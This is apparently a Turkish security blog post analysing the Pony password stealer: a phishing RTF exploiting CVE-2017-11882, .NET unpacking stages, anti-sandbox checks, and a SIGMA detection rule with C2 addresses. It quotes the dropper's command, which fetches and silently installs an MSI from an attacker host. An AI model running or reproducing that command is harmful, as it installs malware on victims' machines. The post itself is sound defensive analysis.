Pony Zararlı Analizi ve Uygulanabilecek SIGMA Kuralı

PONY

Genel Bakış

Teknolojinin gelişmesiyle beraber zararlı yazılımlarında kabiliyetleri artmaktadır. Zararlı yazılımları artık teknik bilgisi çok fazla olmayan insanlar da üretip, dağıtabilir konuma gelmektedir. Zararlı işlemleri yapmanızı sağlayan araçlar internette hazır olarak satılıp, kötü niyetli kişilerin yapması gereken tek şey bunları satın alıp 1-2 tuşa basarak hazır hale getirmektir. Pony zararlısı da bu zararlılar içerisindedir. Pony parola hırsızı (information stealer) ve diğer zararlı yazılımların indirilip çalıştırılmasını sağlayan bir zararlı yazılımdır. Pony’nin kaynak kodları[1] daha sonradan sızmış olup iç yapısını biraz daha görebiliyoruz.



Özet 

Bu analiz, son yıllarda aktif olan Pony zararlı yazılımının neler yaptığını anlatmaya yöneliktir. Pony e-mail’in ekindeki zararlı dosyalarla yayılıp, asıl zararlısını indirip çalıştırmaya yöneliktir. Zararlının amacı bulaştığı sistemdeki bilgileri toplamak ve varsa diğer zararlı yazılımları indirmek için ara katman oluşturmaktır.

 

Temel Bilgiler

Bu bölümde verilecek olan bilgiler Pony zararlısına aittir.


 
manptca.exe
MD5
b3b2e248d1ba2beb966faf9ed100d867
SHA-1
599c7a6f929c99c433a684bf056daa5537a26672
SHA-256
ec4fdc32d53fcd400990321c71935867acc2d3e1c0946b2504a75f9a36d39f58
Dosya boyutu
139.5 KB
Dosya türü
Win32 EXE

 
Payment_001.doc
MD5
ba1fd5d46077293e959bc8c270d94dc2
SHA-1
4ea1e28b2cb0dea595d8eb7c974f79d8029c9b7b
SHA-256
788884332fc1c199107310ff5b6af4d8605ff3bdd5e67f6a4bc5db55a03321b1
Dosya boyutu
434.33 KB
Dosya türü
Rich Text Format (RTF)


 

Analiz

Bu analiz sırasında taze örnek ve baştan sona bir operasyonu gerçekleştirmek için gereken kontrol sunucuları kapalı olduğundan dolayı maldoc[2] ile yayılan dosya ve çalıştırılabilir dosya birbirinin devamı olmamakla beraber ikisi de Pony zararlısının bir bacağını oluşturmaktadır. Oltalama mailinin ekiyle gelen dosyayı analiz etmeye başlayalım. Dosyayı açtığımız zaman bizi boş bir sayfada sadece “You can edit this file as you like” (dosyayı istediğiniz gibi değiştirebilirsiniz) yazısıyla karşılaşıyoruz.
 
Dosyanın içerisinde hiçbir şey yazmaması ve makro olmamasından dolayı başka yerlere odaklanıyoruz.Maldoc (zararlı işlerde kullanılan word/office/pdf dosyaları) analizi yaparken genelde Remnux isimli linux distrosunu kullanıyorum. İşe yarayan birçok araç bu distro’da hazır halde kullanımımıza sunuluyor.
Dosyanın türüne bakmak için file komutunu kullandığımızda RTF (Rich Text Format) olduğunu görüyoruz.

Edindiğimiz bilgiler çerçevesinde analize devam edebiliriz. rtfobj aracı kullanarak dosyanın içerisinde gömülü olarak bulunan dosyalara bakacağız.
 
İçerisinden 3 adet dosya çıkıyor. Bunların dosya türüne baktığımızda normal olduklarını görüyoruz.


OOXML dosyasını unzip komutu ile çıkarttığımızda içerisinden dosyalar çıkıyor.


Bu dosyalara baktığımızda normal dosyalar olduğunu ve geçen analizimizde Relationship özelliğini sömürülmediğini ve normal URL’lerin kullanıldığını görüyoruz.


Rtfdump aracını kullanarak bu sefer Payment_002.doc dosyasının içerisindeki bütün dosyalara bakıyoruz. Çıktıda dikkatimizi 177-178-179. sıradaki elemanlar çekiyor. Bu OLE dosyalarını “rtfdump.py -f O Payment_002.doc” komutuyla da bulabilirdik.

178’de bulunan ole dosyasını incelemek için “python rtdump.py -s 178 -H -E Payment_002.doc” komutunu kullanıyoruz. Bu komutta dikkatimizi bir yer çekiyor.


 
Bu komutu açıklamadan önce bu dosyanın CVE-2017-11882[3],[4] zafiyetini kullandığını biliyoruz. Bu zafiyet Microsoft Equation Editor (Ofis programları için denklem ekleme/düzenleme aracı) üzerinde bulunan bellek aşırtma zafiyetidir. Equation editor’a verilen uzun font ismi bellekten taşıp (overflow) istenmeyen kod çalıştırılmasına sebebiyet veriyor.
Yukarıdaki görselde de görüldüğü üzere “cmd.exe & /C CD C: & msiexec.exe /i https://agahguner.com/44.msi /quiet” komutu burada çalıştırılmıştır. Bu komutu açıklamak isterim:
  • CMD /C parametresiyle çalıştırılır. /C parametresi kendisinden sonra gelen komutun çalıştırılıp sonra da CMD’yi kapatması için kullanılır.
  • CD C: komutu ile programın çalıştığı dizin gösteriliyor.
  • msiexec.exe /i komutu verilen paketin veya bu durumda linkin indirilip kurulması için kullanılır.
  • /quiet parametresi ile cmd’yi sessiz modda pencere açmadan çalıştırıyor.
Bu komutun yaptığı uzaktan bir dosyayı indirip o dosyayı çalıştırmaktır.
Şimdiye kadar geldiğimiz yerde zararlı dosyayı inceleyip ne yaptığını anladık. Zararlı dosyaya incelemeye başlayabiliriz. DIE aracı ile incelediğimiz .Net dosyası olduğunu görüyoruz. Entropisinin 7.41 ile yüksek olduğunu görüyoruz.



 
Dosyamız .net dosyası olduğu için çok basit bir şekilde decompile (kaynak kodlarına geri döndürme) edebiliriz. Dnspy aracını kullanarak dosyayı inceleyemeye devam ediyoruz. İlginç bir şekilde resim dosyasının olduğunu görüyoruz.



Metot isimlerine baktığımızda farklı karakterlerle karşılaşıyoruz. Bu karakterler ve entropisinin yüksek olması bize dosyanın packing (paketlenmiş), (tersine mühendislik işlemini zorlaştıran işlem, dosyayı paketleyip içerisindeki gizlemek gibi düşünebiliriz.) işlemi uygulandığı kanısına varabiliriz.
.Net ile yazılan paketlenmiş zararlı yazılımlar içerisindeki tehlikeli kodu yüklemek için Reflection adı verilen bir özelliği kullanır. Bu özellik .net ile beraber gelmektedir. Bu zararlı yazılımda da Assembly.load fonksiyonuna breakpoint koyarak, diğer aşamaya geçiş olan zararlıyı çıkaracağız. Hangi metod’a breakpoint konulacağı aşağıdaki görselde gösterilmiştir.

Breakpoint’i koyup çalıştırdıktan sonra o noktada çalışmanın durduğunu görüyoruz.

 
Value değerine sağ tıklayıp “Save” diyerek, kaydediyoruz.

Artık elimizde 2.aşama olarak isimlendirebileceğimiz dosyamız var. Bu dosyayı incelemeye başlayalım. Bu dosyanın DIE sonucu bize .net ile yazıldığını ve yine kolayca decompile edebileceğimizi gösteriyor.






Fonksiyonlara bakmaya başladığımızda ilgi çekici şeyler görüyoruz. Run fonksiyonuna baktığımızda cmd’ye argüman verilerek istenilen işlemin çalıştırılmasını sağlıyor.

Avast fonksiyonuna baktığımzıda, avast’ın kullandığı “snxhk.dll” isimli dll’in kontrolün yapıldığını ve buna göre işlemin uykuya alındığını görüyoruz.

 
VMRunning fonksiyonunda ise dosyanın sanal makinede çalıştırıldığını kontrol etmek için bazı kontroller yapılmış. Bu kontrolü video kontrolcüsü bilgisini kontrol ederek yapmış. Bu sürücüler sanal makinelerde aynı isimle olduğu için sabit stringler kullanılmış.


antiSandie fonksiyonunda ise sandbox (araştırmacıların kullandığı sanal ve otomatize ortamlar) kullanımını kontrol ediyor. Bu kontrol çalışan bütün işlemler içinde “sanboxierpcss” ve SessionId kontrolü ile yapılmış.

Burada gözümüze çarpan diğer fonksiyon ise ReadManagedResource fonksiyonu oluyor. Bu fonksiyonu incelediğimiz zaman yukarıda bahsi geçen resmi kullanarak payload’ı çıkarttığını görüyoruz. Yani yukarıda adı geçen görsel payload’ı saklamak için kullanılıyor ve masum değil :)



2. aşama diye adlandırdığımız bu dosyanın anti-analiz kontrollerini yaptığını ve bir enjeksiyon daha yaparak 3.aşama için ara adım olduğunu söyleyebiliriz. 3.aşamayı çıkartmak için yapmamız gereken şey, ilk dosyayı çalıştırıp herhangi bir program yardımıyla (ben process hacker kullandım) işlemi “suspend” edip, debugger’a koymak.

Debuggera ekledikten sonra “Memory Map” kısmını açarak arama yapıyoruz.


Çıkan sonuçlar arasında en üstteki hafıza bloğunu çıkartmak için “Follow in dump” seçeneğini izliyoruz.

MZ ile başlayan hafızamız bize istediğimiz şeyi veriyor. MZ çalıştırılabilir dosyalar için kullanılan magic byte’dır.



Bu hafıza bloğunu çıkarttıktan sonra analizimize devam edebiliriz. Elimizdeki dosyayı IDA ile açıp baktığımızda hiçbir anlam ifade etmeyen stringler görüyoruz. Bu bize bazı şeylerin ters gittiğinin sinyalini veriyor.

PE-bear aracı ile dosyayı incelediğimiz zaman hafızanın düzenlenmediğini görüyoruz. Bundan dolayı Raw Address’deki değerleri Virtual Address’teki değerlere uyacak şekilde düzeltiyoruz. Öncesini ve sonrasını aşağıdaki görsellerde bulabilirsiniz.




Düzelttiğimiz hafıza bölümleriyle beraber dosyayı kaydediyoruz. IDA ile açtığımız en son dosya’ya baktığımızda bize gayet düzgün ve ilgi çekici stringler veriyor. Zararlının amacını bildiğimiz için bu stringler normal geliyor. Zararlı bu aşamadan sonra aşağıda görselde de verilen parolaları bazı programlarda (görsellerde de görülen sql, ftp vs) bulduklarını ve tarayıcılardan, mail uygulamalarından topladığı parolaları kontrol sunucusuna yolluyor.





Öneriler

  • Bilinçlenmek en büyük önlemlerden biridir. Gündemi takip edebilecek kadar bilgi çok şey değiştirebilir.
  • Şirketiniz için güvenlik politikası oluşturabilirsiniz.
  • Bilmediğiniz kaynaklardan gelen dosyaları açmayın. Pony ve diğer zararlıların yayılırken kullandığı en yaygın yöntemlerden bir tanesi zararsız gözüken dokümanları yaymaktır.
  • Güvenmediğiniz dosyaları çevrimiçi araçlarla (VirusTotal, hybrid-analysis vb.) kolayca analiz
    edip, ondan sonra çalıştırabilirsiniz.
  • Güvenilir antivürs programları kullanabilirsiniz.
  • Domain-Based Message Authentication, Reporting & Conformance (DMARC) sistemi
    kurularak kuruma gelen spam mailleri en aza indirebilirsiniz.

Pony’nin Tespiti için Kullanılabilecek SIGMA Kuralı

title: Pony
description: Detect Pony's Malicious Activities
author: Burak ÇARIKÇI
references:
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-quarterly-threats-jun-2017.pdf
date: 10/05/2019
status: testing
detection:
condition: 1 of them
logsource:
category: firewall
detection:
outgoing:
dst:
- 101.160.1.157
- 101.160.1.157
- 109.87.233.72
- 114.180.240.177
- 122.210.153.121
- 190.254.65.114
- 77.122.108.240
- 78.97.2.159
- 82.211.132.7
- 89.34.127.5
- 91.203.158.237
- 91.250.26.58
- 92.52.139.145
- 93.185.221.176
- 94.153.159.186
- 95.180.67.140
- 96.41.189.181
- agahguner.com
- paclficinsight.com
incoming:
src:
- 101.160.1.157
- 101.160.1.157
- 109.87.233.72
- 114.180.240.177
- 122.210.153.121
- 190.254.65.114
- 77.122.108.240
- 78.97.2.159
- 82.211.132.7
- 89.34.127.5
- 91.203.158.237
- 91.250.26.58
- 92.52.139.145
- 93.185.221.176
- 94.153.159.186
- 95.180.67.140
- 96.41.189.181
- agahguner.com
- paclficinsight.com



logsource:
product: windows
service: sysmon
detection:
selection1:
#Sysmon process creation
EventID: 1
ParentImage:
- '*\manptca.exe'
Image:
- '*\RegAsm'
- '*\RegAsm.exe'
fields:
- Image
- TargetFileName
- CommandLine
- ParentCommandLine
- EventID
- TargetObject
falsepositives:
- unknown
level: high
mitre-attack:
- Spearphishing Attachment
- Command-Line Interface
- Process Hollowing
- Commonly Used Port
- Man in the Browser

Kaynakça

  1. Pony’nin kaynak kodları: https://github.com/nyx0/Pony/tree/master/panel
  2. Malspam Delivers Pony and Loki-Bot: https://malwarebreakdown.com/2018/03/19/malspam-delivers-pony-and-loki-bot/
  3. Analysis of CVE-2017-11882 Exploit in the Wild: https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/
  4. Analysis of a Packed Pony Downloader: https://www.uperesia.com/analysis-of-a-packed-pony-downloader
  5. Pony zararlısının VirusTotal sonucu: https://www.virustotal.com/gui/file/ec4fdc32d53fcd400990321c71935867acc2d3e1c0946b2504a75f9a36d39f58/detection
  6. Payment_002.doc VirusTotal sonucu: https://www.virustotal.com/gui/file/2fdc22d8926db1b04dc3d62ff6da72236cb1c052b23553b644c7f18ea8496d8a/detection
  7. Payment_002.doc dosyasının (görselin alındığı yer) any.run sonucu: https://app.any.run/tasks/fce94353-a218-4094-aedf-03d8c5e30220
  8. Remnux distrosu: https://remnux.org/

Burak ÇARIKÇI

CT-Zer0

CRYPTTECH


Yorumlar

Bu blogdaki popüler yayınlar

1. Geleneksel Stajyer CTF Soru ve Cevapları

B*-Tree (BTree, BPlusTree) Veri Yapısı ile Veri İndeksleme

2. Geleneksel Stajyer CTF Soru ve Cevapları - 2017